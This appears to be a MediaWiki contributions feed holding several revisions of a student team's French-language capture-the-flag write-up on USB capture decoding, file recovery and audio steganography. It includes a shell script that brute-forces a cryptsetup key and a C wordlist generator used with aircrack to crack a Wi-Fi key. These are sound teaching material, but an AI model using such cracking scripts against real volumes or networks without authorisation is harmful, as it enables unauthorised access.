https://wiki-ima.plil.fr/mediawiki//api.php?action=feedcontributions&feedformat=atom&user=Cgodet1Wiki d'activités IMA - Contributions de l’utilisateur [fr]2026-05-13T01:38:30ZContributions de l’utilisateurMediaWiki 1.29.2https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&diff=58342Cyber 2021/2022 G32022-01-20T13:08:22Z<p>Cgodet1 : /* Dessiner avec des sons */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
Equipe : Louis WADBLED, Clement GODET<br />
<br />
= Flocons =<br />
<br />
= Espion dans le bus =<br />
<br />
On télécharge le fichier et sur wireshark, application du filtre : <code>((usb.transfer_type == 0x01) && (frame.len==72)) && !(usb.capdata == 00:00:00:00:00:00:00:00)</code>. Grâce à ce filtre, on trouve tous les paquets contenant des "Leftover Capture Data", ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne (lorsque celui ci est différent de 0) pour trouver le flag.<br />
<br />
= Travail de serrurerie =<br />
<br />
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :<br />
$ modprobe nbd<br />
permet de créer un fichier /dev/nbd0<br />
<br />
$ qemu-nbd -c /dev/nbd0 data --format=raw<br />
génère les partitions /dev/nbd0p1 et /dev/nbd0p2<br />
<br />
On monte ensuite les partitions :<br />
$ mkdir /mnt/data1 /mnt/data2<br />
$ mount /dev/nbd0p1 /mnt/data1<br />
$ mount /dev/nbd0p2 /mnt/data2<br />
<br />
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.<br />
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'<br />
Le fichier a probablement été masqué grâce à la commande 'rm'<br />
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :<br />
$ photorec /dev/nbd0<br />
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.<br />
On trouve alors le MDP pour ouvrir l'archive<br />
<br />
= Spécialiste des écoutes =<br />
<br />
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.<br />
<br />
= Perçage de coffre =<br />
<br />
On désarchive l'archive. Il s'agit d'un fichier que l'on peut décrypter avec crytsetup en mode "plain" en spécifiant un mot de passe.<br />
On teste ensuite la valeur de retour de "mount". Si il y a une erreur, la clé utilisée par cryptsetup est érronée. On efface alors le fichier créé avec cryptsetup close.<br />
<br />
On utilise le script suivant pour forcer le coffre : <br />
#!/bin/sh<br />
i=0<br />
while [ $i -lt 10000 ]<br />
do<br />
echo $i | cryptsetup plainOpen chiffre chiffre<br />
if [ $? -ne 0 ];<br />
then <br />
echo "Erreur lors du crytpsetup"<br />
exit<br />
fi <br />
<br />
mount /dev/mapper/chiffre /mnt/chiffre<br />
if [ $? -eq 0 ]; then <br />
echo "Succes: $i"<br />
exit<br />
else<br />
cryptsetup close chiffre chiffre<br />
fi <br />
<br />
i=$(( i+1 ))<br />
done<br />
<br />
Une fois le code trouvé, on a un dossier monté.<br />
A partir des infos fournies dans le dossier, on reconstitue l'IBAN au complet<br />
<br />
= Déchiffrer le manuscrit =<br />
<br />
On utilise Wireshark pour visualiser les trames.<br />
On remarque un échange entre un périphérique et l'ordinateur.<br />
La seule data qui change est contenue à la fin du packet.<br />
Les PID et VID au début de la communication nous informent que le périphérique est une souris.<br />
On essaye d'interpréter la donnée qui varie. Puisqu'il s'agit d'une souris, il y aura un octet pour representer les boutons appuyés ou non, et un certain nombre d'octets pour la direction en X et Y<br />
On garde à l'esprit qu'une souris bouge dans les 2 sens, et donc que l'information du capteur peut etre positive OU négative. De plus, on essaye d'interpréter la data en little ET en big endian étant donné que l'on ne connait pas la convention utilisée.<br />
En prenant en compte les points pour lesquels le bouton de la souris est enfoncé, on trouve un lien qui nous donne le drapeau.<br />
<br />
= Dessiner avec des sons =<br />
<br />
En lisant le fichier octet par octet, on trouve des paquets de 4 octets qui se répetent<br />
On simplifie le motif en supprimant toutes les occurences superflues. On obtient une suite de symboles que l'on essaye d'interpréter comme soit des 0 soit des 1.<br />
On se retrouve donc avec un fichier binaire. En interprétant ce dernier comme de l'ASCII on trouve un en-tête de la forme :<br />
P6<br />
225 225<br />
255<br />
//le reste du code binaire<br />
<br />
Cela fait penser à la trame d'un fichier ppm en nuance de gris<br />
Lorsqu'on l'affiche comme tel, on n'obtient malheuresement pas une image lisisble<br />
<br />
= Encore une image en musique =<br />
<br />
On affiche le fichier .wav dans le terminal, on trouve un bloc un peu bizarre très bien arrangé pour un fichier de ce type. <br />
<br />
cat audiodump.wav | tail -400<br />
<br />
On trouve sur internet de quel type de donnée il s'agit pour le bloc (qui se termine par <code>==</code> donc base64), que l'on peut convertir en image (https://base64.guru/converter/decode/image). L'image nous donne ensuite le flag (avec un peu de recherche sur l'image aussi).<br />
<br />
= Clef à la loupe =<br />
<br />
= Filsss fait un sssssomme =<br />
<br />
Voir le cours sur une technique pas technique pour abuser de certaines personnes.<br />
<br />
= Existe-t-il encore de vraies brutes ? =<br />
<br />
On écrit un programme C pour générer un dictionnaire prennant en compte les informations fournies sur le mot de passe.<br />
Une fois le dictionnaire généré, on le teste face aux trames receptionnées grâce à l'utilitaire aircrack.<br />
Au bout d'une trentaine de minutes, la clé est cassée.<br />
<br />
Code C :<br />
#include <stdio.h><br />
<br />
int main() {<br />
char v[] = "aeiouy";<br />
char x[] = "zrtpqsdfghjklmwxcvbn";<br />
<br />
for (int a = 0; a < 20 ; a++) {<br />
for (int b = 0;b<6; b++) {<br />
for (int c = 0; c < 20 ; c++) {<br />
for (int d = 0;d<6; d++) {<br />
for (int e = 0; e < 20 ; e++) {<br />
for (int f = 0;f<6; f++) {<br />
for (int g = 0; g < 20 ; g++) {<br />
for (int h = 0;h<6; h++) {<br />
if (a==19 || c==19 || e==19 || g==19)<br />
printf("%c%c%c%c%c%c%c%c\n", x[a],v[b],x[c],v[d],x[e],v[f],x[g],v[h]);<br />
}<br />
}<br />
}<br />
}<br />
}<br />
}<br />
}<br />
}<br />
<br />
return 0;<br />
}<br />
<br />
= Déjà vu =<br />
<br />
Avec le <code>GET DESCRIPTOR Response DEVICE</code> (taille 82), on trouve l'idVendor (Mad Catz) et avec le <code>GET DESCRIPTOR Response CONFIGURATION</code> (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une <code>frame.len==71</code> car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.<br />
<br />
Script python utilisé sur le fichier 'test.json' comportant les données exportées en JSON :<br />
<br />
import itertools<br />
import json<br />
import matplotlib.pyplot as plt<br />
<br />
def main():<br />
packets_export_file = open('test.json')<br />
packets = json.load(packets_export_file)<br />
<br />
x_offsets = [int(p["_source"]["layers"]["usbhid.data_tree"]["usbhid.data.axis.x"])<br />
for p in packets] <br />
<br />
y_offsets = [-int(p["_source"]["layers"]["usbhid.data_tree"]["usbhid.data.axis.y"])<br />
for p in packets]<br />
<br />
x_positions = list(itertools.accumulate(x_offsets))<br />
y_positions = list(itertools.accumulate(y_offsets))<br />
<br />
plt.plot(x_positions, y_positions)<br />
plt.title("Mouse position")<br />
plt.xlabel("X")<br />
plt.ylabel("Y")<br />
plt.show()<br />
<br />
main()</div>Cgodet1https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&diff=58336Cyber 2021/2022 G32022-01-20T13:04:38Z<p>Cgodet1 : /* Perçage de coffre */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
Equipe : Louis WADBLED, Clement GODET<br />
<br />
= Flocons =<br />
<br />
= Espion dans le bus =<br />
<br />
On télécharge le fichier et sur wireshark, application du filtre : <code>((usb.transfer_type == 0x01) && (frame.len==72)) && !(usb.capdata == 00:00:00:00:00:00:00:00)</code>. Grâce à ce filtre, on trouve tous les paquets contenant des "Leftover Capture Data", ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne (lorsque celui ci est différent de 0) pour trouver le flag.<br />
<br />
= Travail de serrurerie =<br />
<br />
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :<br />
$ modprobe nbd<br />
permet de créer un fichier /dev/nbd0<br />
<br />
$ qemu-nbd -c /dev/nbd0 data --format=raw<br />
génère les partitions /dev/nbd0p1 et /dev/nbd0p2<br />
<br />
On monte ensuite les partitions :<br />
$ mkdir /mnt/data1 /mnt/data2<br />
$ mount /dev/nbd0p1 /mnt/data1<br />
$ mount /dev/nbd0p2 /mnt/data2<br />
<br />
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.<br />
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'<br />
Le fichier a probablement été masqué grâce à la commande 'rm'<br />
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :<br />
$ photorec /dev/nbd0<br />
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.<br />
On trouve alors le MDP pour ouvrir l'archive<br />
<br />
= Spécialiste des écoutes =<br />
<br />
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.<br />
<br />
= Perçage de coffre =<br />
<br />
On désarchive l'archive. Il s'agit d'un fichier que l'on peut décrypter avec crytsetup en mode "plain" en spécifiant un mot de passe.<br />
On teste ensuite la valeur de retour de "mount". Si il y a une erreur, la clé utilisée par cryptsetup est érronée. On efface alors le fichier créé avec cryptsetup close.<br />
<br />
On utilise le script suivant pour forcer le coffre : <br />
#!/bin/sh<br />
i=0<br />
while [ $i -lt 10000 ]<br />
do<br />
echo $i | cryptsetup plainOpen chiffre chiffre<br />
if [ $? -ne 0 ];<br />
then <br />
echo "Erreur lors du crytpsetup"<br />
exit<br />
fi <br />
<br />
mount /dev/mapper/chiffre /mnt/chiffre<br />
if [ $? -eq 0 ]; then <br />
echo "Succes: $i"<br />
exit<br />
else<br />
cryptsetup close chiffre chiffre<br />
fi <br />
<br />
i=$(( i+1 ))<br />
done<br />
<br />
Une fois le code trouvé, on a un dossier monté.<br />
A partir des infos fournies dans le dossier, on reconstitue l'IBAN au complet<br />
<br />
= Déchiffrer le manuscrit =<br />
<br />
On utilise Wireshark pour visualiser les trames.<br />
On remarque un échange entre un périphérique et l'ordinateur.<br />
La seule data qui change est contenue à la fin du packet.<br />
Les PID et VID au début de la communication nous informent que le périphérique est une souris.<br />
On essaye d'interpréter la donnée qui varie. Puisqu'il s'agit d'une souris, il y aura un octet pour representer les boutons appuyés ou non, et un certain nombre d'octets pour la direction en X et Y<br />
On garde à l'esprit qu'une souris bouge dans les 2 sens, et donc que l'information du capteur peut etre positive OU négative. De plus, on essaye d'interpréter la data en little ET en big endian étant donné que l'on ne connait pas la convention utilisée.<br />
En prenant en compte les points pour lesquels le bouton de la souris est enfoncé, on trouve un lien qui nous donne le drapeau.<br />
<br />
= Dessiner avec des sons =<br />
<br />
= Encore une image en musique =<br />
<br />
On affiche le fichier .wav dans le terminal, on trouve un bloc un peu bizarre très bien arrangé pour un fichier de ce type. <br />
<br />
cat audiodump.wav | tail -400<br />
<br />
On trouve sur internet de quel type de donnée il s'agit pour le bloc (qui se termine par <code>==</code> donc base64), que l'on peut convertir en image (https://base64.guru/converter/decode/image). L'image nous donne ensuite le flag (avec un peu de recherche sur l'image aussi).<br />
<br />
= Clef à la loupe =<br />
<br />
= Filsss fait un sssssomme =<br />
<br />
Voir le cours sur une technique pas technique pour abuser de certaines personnes.<br />
<br />
= Existe-t-il encore de vraies brutes ? =<br />
<br />
On écrit un programme C pour générer un dictionnaire prennant en compte les informations fournies sur le mot de passe.<br />
Une fois le dictionnaire généré, on le teste face aux trames receptionnées grâce à l'utilitaire aircrack.<br />
Au bout d'une trentaine de minutes, la clé est cassée.<br />
<br />
Code C :<br />
#include <stdio.h><br />
<br />
int main() {<br />
char v[] = "aeiouy";<br />
char x[] = "zrtpqsdfghjklmwxcvbn";<br />
<br />
for (int a = 0; a < 20 ; a++) {<br />
for (int b = 0;b<6; b++) {<br />
for (int c = 0; c < 20 ; c++) {<br />
for (int d = 0;d<6; d++) {<br />
for (int e = 0; e < 20 ; e++) {<br />
for (int f = 0;f<6; f++) {<br />
for (int g = 0; g < 20 ; g++) {<br />
for (int h = 0;h<6; h++) {<br />
if (a==19 || c==19 || e==19 || g==19)<br />
printf("%c%c%c%c%c%c%c%c\n", x[a],v[b],x[c],v[d],x[e],v[f],x[g],v[h]);<br />
}<br />
}<br />
}<br />
}<br />
}<br />
}<br />
}<br />
}<br />
<br />
return 0;<br />
}<br />
<br />
= Déjà vu =<br />
<br />
Avec le <code>GET DESCRIPTOR Response DEVICE</code> (taille 82), on trouve l'idVendor (Mad Catz) et avec le <code>GET DESCRIPTOR Response CONFIGURATION</code> (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une <code>frame.len==71</code> car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.<br />
<br />
Script python utilisé sur le fichier 'test.json' comportant les données exportées en JSON :<br />
<br />
import itertools<br />
import json<br />
import matplotlib.pyplot as plt<br />
<br />
def main():<br />
packets_export_file = open('test.json')<br />
packets = json.load(packets_export_file)<br />
<br />
x_offsets = [int(p["_source"]["layers"]["usbhid.data_tree"]["usbhid.data.axis.x"])<br />
for p in packets] <br />
<br />
y_offsets = [-int(p["_source"]["layers"]["usbhid.data_tree"]["usbhid.data.axis.y"])<br />
for p in packets]<br />
<br />
x_positions = list(itertools.accumulate(x_offsets))<br />
y_positions = list(itertools.accumulate(y_offsets))<br />
<br />
plt.plot(x_positions, y_positions)<br />
plt.title("Mouse position")<br />
plt.xlabel("X")<br />
plt.ylabel("Y")<br />
plt.show()<br />
<br />
main()</div>Cgodet1https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&diff=58334Cyber 2021/2022 G32022-01-20T13:04:11Z<p>Cgodet1 : /* Existe-t-il encore de vraies brutes ? */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
Equipe : Louis WADBLED, Clement GODET<br />
<br />
= Flocons =<br />
<br />
= Espion dans le bus =<br />
<br />
On télécharge le fichier et sur wireshark, application du filtre : <code>((usb.transfer_type == 0x01) && (frame.len==72)) && !(usb.capdata == 00:00:00:00:00:00:00:00)</code>. Grâce à ce filtre, on trouve tous les paquets contenant des "Leftover Capture Data", ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne (lorsque celui ci est différent de 0) pour trouver le flag.<br />
<br />
= Travail de serrurerie =<br />
<br />
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :<br />
$ modprobe nbd<br />
permet de créer un fichier /dev/nbd0<br />
<br />
$ qemu-nbd -c /dev/nbd0 data --format=raw<br />
génère les partitions /dev/nbd0p1 et /dev/nbd0p2<br />
<br />
On monte ensuite les partitions :<br />
$ mkdir /mnt/data1 /mnt/data2<br />
$ mount /dev/nbd0p1 /mnt/data1<br />
$ mount /dev/nbd0p2 /mnt/data2<br />
<br />
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.<br />
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'<br />
Le fichier a probablement été masqué grâce à la commande 'rm'<br />
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :<br />
$ photorec /dev/nbd0<br />
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.<br />
On trouve alors le MDP pour ouvrir l'archive<br />
<br />
= Spécialiste des écoutes =<br />
<br />
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.<br />
<br />
= Perçage de coffre =<br />
<br />
On désarchive l'archive. Il s'agit d'un fichier que l'on peut décrypter avec crytsetup en mode "plain" en spécifiant un mot de passe.<br />
On teste ensuite la valeur de retour de "mount". Si il y a une erreur, la clé utilisée par cryptsetup est érronée. On efface alors le fichier créé avec cryptsetup close.<br />
<br />
On utilise le script suivant pour forcer le coffre : <br />
#!/bin/sh<br />
i=0<br />
while [ $i -lt 10000 ]<br />
do<br />
echo $i | cryptsetup plainOpen chiffre chiffre<br />
if [ $? -ne 0 ];<br />
then <br />
echo "Erreur lors du crytpsetup"<br />
exit<br />
fi <br />
<br />
mount /dev/mapper/chiffre /mnt/chiffre<br />
if [ $? -eq 0 ]; then <br />
echo "Succes: $i"<br />
exit<br />
else<br />
cryptsetup close chiffre chiffre<br />
fi <br />
<br />
i=$(( i+1 ))<br />
done<br />
<br />
Une fois le code trouvé, on a un dossier monté.<br />
A partir des infos fournies dans le dossier, on reconstitue l'IBAN au complet<br />
<br />
= Déchiffrer le manuscrit =<br />
<br />
On utilise Wireshark pour visualiser les trames.<br />
On remarque un échange entre un périphérique et l'ordinateur.<br />
La seule data qui change est contenue à la fin du packet.<br />
Les PID et VID au début de la communication nous informent que le périphérique est une souris.<br />
On essaye d'interpréter la donnée qui varie. Puisqu'il s'agit d'une souris, il y aura un octet pour representer les boutons appuyés ou non, et un certain nombre d'octets pour la direction en X et Y<br />
On garde à l'esprit qu'une souris bouge dans les 2 sens, et donc que l'information du capteur peut etre positive OU négative. De plus, on essaye d'interpréter la data en little ET en big endian étant donné que l'on ne connait pas la convention utilisée.<br />
En prenant en compte les points pour lesquels le bouton de la souris est enfoncé, on trouve un lien qui nous donne le drapeau.<br />
<br />
= Dessiner avec des sons =<br />
<br />
= Encore une image en musique =<br />
<br />
On affiche le fichier .wav dans le terminal, on trouve un bloc un peu bizarre très bien arrangé pour un fichier de ce type. <br />
<br />
cat audiodump.wav | tail -400<br />
<br />
On trouve sur internet de quel type de donnée il s'agit pour le bloc (qui se termine par <code>==</code> donc base64), que l'on peut convertir en image (https://base64.guru/converter/decode/image). L'image nous donne ensuite le flag (avec un peu de recherche sur l'image aussi).<br />
<br />
= Clef à la loupe =<br />
<br />
= Filsss fait un sssssomme =<br />
<br />
Voir le cours sur une technique pas technique pour abuser de certaines personnes.<br />
<br />
= Existe-t-il encore de vraies brutes ? =<br />
<br />
On écrit un programme C pour générer un dictionnaire prennant en compte les informations fournies sur le mot de passe.<br />
Une fois le dictionnaire généré, on le teste face aux trames receptionnées grâce à l'utilitaire aircrack.<br />
Au bout d'une trentaine de minutes, la clé est cassée.<br />
<br />
Code C :<br />
#include <stdio.h><br />
<br />
int main() {<br />
char v[] = "aeiouy";<br />
char x[] = "zrtpqsdfghjklmwxcvbn";<br />
<br />
for (int a = 0; a < 20 ; a++) {<br />
for (int b = 0;b<6; b++) {<br />
for (int c = 0; c < 20 ; c++) {<br />
for (int d = 0;d<6; d++) {<br />
for (int e = 0; e < 20 ; e++) {<br />
for (int f = 0;f<6; f++) {<br />
for (int g = 0; g < 20 ; g++) {<br />
for (int h = 0;h<6; h++) {<br />
if (a==19 || c==19 || e==19 || g==19)<br />
printf("%c%c%c%c%c%c%c%c\n", x[a],v[b],x[c],v[d],x[e],v[f],x[g],v[h]);<br />
}<br />
}<br />
}<br />
}<br />
}<br />
}<br />
}<br />
}<br />
<br />
return 0;<br />
}<br />
<br />
= Déjà vu =<br />
<br />
Avec le <code>GET DESCRIPTOR Response DEVICE</code> (taille 82), on trouve l'idVendor (Mad Catz) et avec le <code>GET DESCRIPTOR Response CONFIGURATION</code> (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une <code>frame.len==71</code> car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.<br />
<br />
Script python utilisé sur le fichier 'test.json' comportant les données exportées en JSON :<br />
<br />
import itertools<br />
import json<br />
import matplotlib.pyplot as plt<br />
<br />
def main():<br />
packets_export_file = open('test.json')<br />
packets = json.load(packets_export_file)<br />
<br />
x_offsets = [int(p["_source"]["layers"]["usbhid.data_tree"]["usbhid.data.axis.x"])<br />
for p in packets] <br />
<br />
y_offsets = [-int(p["_source"]["layers"]["usbhid.data_tree"]["usbhid.data.axis.y"])<br />
for p in packets]<br />
<br />
x_positions = list(itertools.accumulate(x_offsets))<br />
y_positions = list(itertools.accumulate(y_offsets))<br />
<br />
plt.plot(x_positions, y_positions)<br />
plt.title("Mouse position")<br />
plt.xlabel("X")<br />
plt.ylabel("Y")<br />
plt.show()<br />
<br />
main()</div>Cgodet1https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&diff=58333Cyber 2021/2022 G32022-01-20T13:03:58Z<p>Cgodet1 : /* Existe-t-il encore de vraies brutes ? */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
Equipe : Louis WADBLED, Clement GODET<br />
<br />
= Flocons =<br />
<br />
= Espion dans le bus =<br />
<br />
On télécharge le fichier et sur wireshark, application du filtre : <code>((usb.transfer_type == 0x01) && (frame.len==72)) && !(usb.capdata == 00:00:00:00:00:00:00:00)</code>. Grâce à ce filtre, on trouve tous les paquets contenant des "Leftover Capture Data", ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne (lorsque celui ci est différent de 0) pour trouver le flag.<br />
<br />
= Travail de serrurerie =<br />
<br />
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :<br />
$ modprobe nbd<br />
permet de créer un fichier /dev/nbd0<br />
<br />
$ qemu-nbd -c /dev/nbd0 data --format=raw<br />
génère les partitions /dev/nbd0p1 et /dev/nbd0p2<br />
<br />
On monte ensuite les partitions :<br />
$ mkdir /mnt/data1 /mnt/data2<br />
$ mount /dev/nbd0p1 /mnt/data1<br />
$ mount /dev/nbd0p2 /mnt/data2<br />
<br />
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.<br />
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'<br />
Le fichier a probablement été masqué grâce à la commande 'rm'<br />
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :<br />
$ photorec /dev/nbd0<br />
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.<br />
On trouve alors le MDP pour ouvrir l'archive<br />
<br />
= Spécialiste des écoutes =<br />
<br />
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.<br />
<br />
= Perçage de coffre =<br />
<br />
On désarchive l'archive. Il s'agit d'un fichier que l'on peut décrypter avec crytsetup en mode "plain" en spécifiant un mot de passe.<br />
On teste ensuite la valeur de retour de "mount". Si il y a une erreur, la clé utilisée par cryptsetup est érronée. On efface alors le fichier créé avec cryptsetup close.<br />
<br />
On utilise le script suivant pour forcer le coffre : <br />
#!/bin/sh<br />
i=0<br />
while [ $i -lt 10000 ]<br />
do<br />
echo $i | cryptsetup plainOpen chiffre chiffre<br />
if [ $? -ne 0 ];<br />
then <br />
echo "Erreur lors du crytpsetup"<br />
exit<br />
fi <br />
<br />
mount /dev/mapper/chiffre /mnt/chiffre<br />
if [ $? -eq 0 ]; then <br />
echo "Succes: $i"<br />
exit<br />
else<br />
cryptsetup close chiffre chiffre<br />
fi <br />
<br />
i=$(( i+1 ))<br />
done<br />
<br />
Une fois le code trouvé, on a un dossier monté.<br />
A partir des infos fournies dans le dossier, on reconstitue l'IBAN au complet<br />
<br />
= Déchiffrer le manuscrit =<br />
<br />
On utilise Wireshark pour visualiser les trames.<br />
On remarque un échange entre un périphérique et l'ordinateur.<br />
La seule data qui change est contenue à la fin du packet.<br />
Les PID et VID au début de la communication nous informent que le périphérique est une souris.<br />
On essaye d'interpréter la donnée qui varie. Puisqu'il s'agit d'une souris, il y aura un octet pour representer les boutons appuyés ou non, et un certain nombre d'octets pour la direction en X et Y<br />
On garde à l'esprit qu'une souris bouge dans les 2 sens, et donc que l'information du capteur peut etre positive OU négative. De plus, on essaye d'interpréter la data en little ET en big endian étant donné que l'on ne connait pas la convention utilisée.<br />
En prenant en compte les points pour lesquels le bouton de la souris est enfoncé, on trouve un lien qui nous donne le drapeau.<br />
<br />
= Dessiner avec des sons =<br />
<br />
= Encore une image en musique =<br />
<br />
On affiche le fichier .wav dans le terminal, on trouve un bloc un peu bizarre très bien arrangé pour un fichier de ce type. <br />
<br />
cat audiodump.wav | tail -400<br />
<br />
On trouve sur internet de quel type de donnée il s'agit pour le bloc (qui se termine par <code>==</code> donc base64), que l'on peut convertir en image (https://base64.guru/converter/decode/image). L'image nous donne ensuite le flag (avec un peu de recherche sur l'image aussi).<br />
<br />
= Clef à la loupe =<br />
<br />
= Filsss fait un sssssomme =<br />
<br />
Voir le cours sur une technique pas technique pour abuser de certaines personnes.<br />
<br />
= Existe-t-il encore de vraies brutes ? =<br />
<br />
On écrit un programme C pour générer un dictionnaire prennant en compte les informations fournies sur le mot de passe.<br />
Une fois le dictionnaire généré, on le teste face aux trames receptionnées grâce à l'utilitaire aircrack.<br />
Au bout d'une trentaine de minutes, la clé est cassée.<br />
<br />
Code C :<br />
#include <stdio.h><br />
<br />
int main() {<br />
char v[] = "aeiouy";<br />
char x[] = "zrtpqsdfghjklmwxcvbn";<br />
<br />
for (int a = 0; a < 20 ; a++) {<br />
for (int b = 0;b<6; b++) {<br />
for (int c = 0; c < 20 ; c++) {<br />
for (int d = 0;d<6; d++) {<br />
for (int e = 0; e < 20 ; e++) {<br />
for (int f = 0;f<6; f++) {<br />
for (int g = 0; g < 20 ; g++) {<br />
for (int h = 0;h<6; h++) {<br />
if (a==19 || c==19 || e==19 || g==19)<br />
printf("%c%c%c%c%c%c%c%c\n", x[a],v[b],x[c],v[d],x[e],v[f],x[g],v[h]);<br />
}<br />
}<br />
}<br />
}<br />
}<br />
}<br />
}<br />
}<br />
<br />
return 0;<br />
}<br />
<br />
= Déjà vu =<br />
<br />
Avec le <code>GET DESCRIPTOR Response DEVICE</code> (taille 82), on trouve l'idVendor (Mad Catz) et avec le <code>GET DESCRIPTOR Response CONFIGURATION</code> (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une <code>frame.len==71</code> car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.<br />
<br />
Script python utilisé sur le fichier 'test.json' comportant les données exportées en JSON :<br />
<br />
import itertools<br />
import json<br />
import matplotlib.pyplot as plt<br />
<br />
def main():<br />
packets_export_file = open('test.json')<br />
packets = json.load(packets_export_file)<br />
<br />
x_offsets = [int(p["_source"]["layers"]["usbhid.data_tree"]["usbhid.data.axis.x"])<br />
for p in packets] <br />
<br />
y_offsets = [-int(p["_source"]["layers"]["usbhid.data_tree"]["usbhid.data.axis.y"])<br />
for p in packets]<br />
<br />
x_positions = list(itertools.accumulate(x_offsets))<br />
y_positions = list(itertools.accumulate(y_offsets))<br />
<br />
plt.plot(x_positions, y_positions)<br />
plt.title("Mouse position")<br />
plt.xlabel("X")<br />
plt.ylabel("Y")<br />
plt.show()<br />
<br />
main()</div>Cgodet1https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&diff=58332Cyber 2021/2022 G32022-01-20T13:03:33Z<p>Cgodet1 : /* Existe-t-il encore de vraies brutes ? */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
Equipe : Louis WADBLED, Clement GODET<br />
<br />
= Flocons =<br />
<br />
= Espion dans le bus =<br />
<br />
On télécharge le fichier et sur wireshark, application du filtre : <code>((usb.transfer_type == 0x01) && (frame.len==72)) && !(usb.capdata == 00:00:00:00:00:00:00:00)</code>. Grâce à ce filtre, on trouve tous les paquets contenant des "Leftover Capture Data", ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne (lorsque celui ci est différent de 0) pour trouver le flag.<br />
<br />
= Travail de serrurerie =<br />
<br />
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :<br />
$ modprobe nbd<br />
permet de créer un fichier /dev/nbd0<br />
<br />
$ qemu-nbd -c /dev/nbd0 data --format=raw<br />
génère les partitions /dev/nbd0p1 et /dev/nbd0p2<br />
<br />
On monte ensuite les partitions :<br />
$ mkdir /mnt/data1 /mnt/data2<br />
$ mount /dev/nbd0p1 /mnt/data1<br />
$ mount /dev/nbd0p2 /mnt/data2<br />
<br />
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.<br />
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'<br />
Le fichier a probablement été masqué grâce à la commande 'rm'<br />
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :<br />
$ photorec /dev/nbd0<br />
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.<br />
